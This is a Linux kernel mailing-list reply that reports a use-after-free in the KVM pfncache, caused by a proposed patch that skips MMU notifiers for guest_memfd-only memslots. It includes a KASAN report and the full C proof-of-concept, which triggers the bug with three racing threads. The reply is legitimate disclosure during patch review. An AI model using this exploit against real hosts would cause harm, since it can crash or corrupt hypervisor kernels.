[RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots

XIAO WU xiaowu.417 at qq.com
Sat Jun 20 17:02:45 PDT 2026


Hi

I came across the Sashiko review in this thread and wanted to see if
the pfncache UAF could be triggered in practice.  The short answer is:
yes, it reproduces reliably with a multi-threaded PoC.  Below is the
KASAN report and a brief description of the reproducer.

On Mon, Jun 15, 2026 at 04:52:44PM +0100, Alexandru Elisei wrote:
 > For guest_memfd-only memslots (kvm_memslot_is_gmem_only() is true), the
 > memory provider for the virtual machine is the guest_memfd file, not the
 > userspace mapping.
...
 > @@ -592,6 +592,10 @@ static __always_inline kvm_mn_ret_t 
kvm_handle_hva_range(struct kvm *kvm,
 >              unsigned long hva_start, hva_end;
 >
 >              slot = container_of(node, struct kvm_memory_slot, 
hva_node[slots->node_idx]);
 > +
 > +            if (kvm_slot_has_gmem(slot) && 
kvm_memslot_is_gmem_only(slot))
 > +                continue;
 > +

This `continue` is the problem.  When the only memslot covering the
HVA range is gmem-only, found_memslot stays false, and in
invalidate_range_end, kvm_mmu_invalidate_end() is never called.
That means mmu_invalidate_seq never increments.

Meanwhile, the pfncache (used for guest pvclock) runs this retry
protocol in hva_to_pfn_retry():

     1. Capture mmu_seq
     2. Drop gpc->lock
     3. GUP + kmap (gets a page reference, creates kernel mapping)
     4. kvm_release_page_clean(page) — drops the reference
     5. Re-acquire gpc->lock
     6. mmu_notifier_retry_cache() — checks if mmu_seq changed

If step 6 sees the same seq, the stale kmap is kept even though the
page was freed after step 4.  This is the UAF.

[Reproduction]

I rebuilt the kernel with CONFIG_KASAN=y and ran the PoC in a QEMU VM.
The trigger is three threads racing concurrently:

   - Thread 1 (T0): hammers KVM_RUN ioctls, forcing
     kvm_guest_time_update → kvm_gpc_refresh → hva_to_pfn_retry
   - Thread 2 (T1): cycles KVM_SET_MSRS to activate/deactivate the
     pvclock pfncache, extending the race window
   - Thread 3 (T2): hammers MADV_DONTNEED + write on the HVA, firing
     MMU notifier invalidations while the memslot is gmem-only

The full PoC source (poc.c) is attached at the end of this mail.
Compiled with: gcc -o poc poc.c -static -lpthread

[KASAN report — kernel 7.1.0-g0eb81d7f81ae #1, CONFIG_KASAN=y]

   ==================================================================
   BUG: KASAN: use-after-free in kvm_setup_guest_pvclock+0x632/0x680
   Read of size 4 at addr ffff888116069000 by task poc/9520

   CPU: 1 UID: 0 PID: 9520 Comm: poc Not tainted 7.1.0-g0eb81d7f81ae #1

   Call Trace:
    <TASK>
    dump_stack_lvl+0x116/0x1f0
    print_report+0xf4/0x600
    kasan_report+0xe0/0x110
    kvm_setup_guest_pvclock+0x632/0x680
    kvm_guest_time_update+0x741/0x1090
    vcpu_run+0x1c2a/0x5a80
    kvm_arch_vcpu_ioctl_run+0x1029/0x18d0
    kvm_vcpu_ioctl+0x772/0x1710
    __x64_sys_ioctl+0x193/0x210           ← KVM_RUN
    do_syscall_64+0x129/0x880
    entry_SYSCALL_64_after_hwframe+0x77/0x7f

   The buggy address belongs to the physical page:
   page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x7ff24ab46

   page last allocated via:
    get_user_pages_unlocked → hva_to_pfn → __kvm_gpc_refresh
      → kvm_gpc_refresh → kvm_setup_guest_pvclock

   page last free pid 9520 tgid 9517 stack trace:
    kvm_release_page_clean → __folio_put → __free_frozen_pages
      ← __kvm_gpc_refresh ← kvm_gpc_refresh

The allocation and free traces confirm the exact scenario from the
review: the page is allocated by GUP during gpc refresh, then freed by
kvm_release_page_clean() inside the same __kvm_gpc_refresh() call,
and then kvm_setup_guest_pvclock still accesses it through the stale
kmap.

The crash reproduces within ~40 seconds of the PoC running.

[Full PoC source]

Compile: gcc -o poc poc.c -static -lpthread

// SPDX-License-Identifier: GPL-2.0-only
/*
  * PoC for: KVM MMU notifier skip regression for guest_memfd-only memslots
  *
  * Concurrent threads create a race between gpc refresh (GUP → kmap →
  * kvm_release_page_clean → retry check) and MMU invalidation (munmap /
  * MADV_DONTNEED) on a gmem-only memslot where the invalidation doesn't
  * increment mmu_invalidate_seq.
  */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <pthread.h>
#include <linux/kvm.h>

#ifndef KVM_CAP_GUEST_MEMFD
#define KVM_CAP_GUEST_MEMFD 234
#endif
#ifndef GUEST_MEMFD_FLAG_MMAP
#define GUEST_MEMFD_FLAG_MMAP (1ULL << 0)
#endif
#ifndef MSR_KVM_SYSTEM_TIME_NEW
#define MSR_KVM_SYSTEM_TIME_NEW 0x4b564d01
#endif

#define PAGE_SIZE 4096

static volatile bool stop = false;
static int vcpu_fd = -1;
static unsigned long shared_hva = 0;

static void sigint_handler(int sig) { stop = true; }

static void *worker_thread(void *arg)
{
     int tid = (int)(long)arg;
     for (int i = 0; !stop && i < 200000; i++) {
         if (tid == 0)
             ioctl(vcpu_fd, KVM_RUN, 0);
         else if (tid == 1) {
             struct kvm_msrs *msrs = malloc(sizeof(*msrs) + 
sizeof(msrs->entries[0]));
             if (msrs) {
                 memset(msrs, 0, sizeof(*msrs) + sizeof(msrs->entries[0]));
                 msrs->nmsrs = 1;
                 msrs->entries[0].index = MSR_KVM_SYSTEM_TIME_NEW;
                 msrs->entries[0].data = (i & 1) ? 0x1001 : 0x1000;
                 ioctl(vcpu_fd, KVM_SET_MSRS, msrs);
                 free(msrs);
             }
         } else {
             madvise((void*)shared_hva, PAGE_SIZE, MADV_DONTNEED);
             *(volatile char*)shared_hva = 0x42;
         }
         if (i % 50000 == 0)
             printf("[T%d] %d iterations\n", tid, i);
     }
     printf("[T%d] Done\n", tid);
     return NULL;
}

int main(void)
{
     signal(SIGINT, sigint_handler);
     signal(SIGTERM, sigint_handler);

     int kvm_fd = open("/dev/kvm", O_RDWR);
     int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);

     struct kvm_create_guest_memfd gmem_cmd = { .size = PAGE_SIZE, 
.flags = GUEST_MEMFD_FLAG_MMAP };
     int gmem_fd = ioctl(vm_fd, KVM_CREATE_GUEST_MEMFD, &gmem_cmd);

     void *anon = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
                       MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0);
     memset(anon, 0xAA, PAGE_SIZE);
     shared_hva = (unsigned long)anon;

     struct kvm_userspace_memory_region2 mem = {
         .slot = 0, .flags = KVM_MEM_GUEST_MEMFD,
         .guest_phys_addr = 0x1000, .memory_size = PAGE_SIZE,
         .userspace_addr = shared_hva,
         .guest_memfd_offset = 0, .guest_memfd = gmem_fd,
     };
     ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION2, &mem);

     vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);
     size_t mmap_size = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
     struct kvm_run *vcpu_run = mmap(NULL, mmap_size, PROT_READ|PROT_WRITE,
                                     MAP_SHARED, vcpu_fd, 0);

     /* Pre-activate pfncache via MSR */
     struct kvm_msrs *msrs = malloc(sizeof(*msrs) + 
sizeof(msrs->entries[0]));
     memset(msrs, 0, sizeof(*msrs) + sizeof(msrs->entries[0]));
     msrs->nmsrs = 1;
     msrs->entries[0].index = MSR_KVM_SYSTEM_TIME_NEW;
     msrs->entries[0].data = 0x1001;
     ioctl(vcpu_fd, KVM_SET_MSRS, msrs);
     free(msrs);

     pthread_t threads[3];
     for (int i = 0; i < 3; i++)
         pthread_create(&threads[i], NULL, worker_thread, (void *)(long)i);

     sleep(40);
     stop = true;
     for (int i = 0; i < 3; i++)
         pthread_join(threads[i], NULL);

     printf("[*] Done. Check dmesg for KASAN UAF.\n");
     return 0;
}

Thanks,
XIAOWU





More information about the linux-arm-kernel mailing list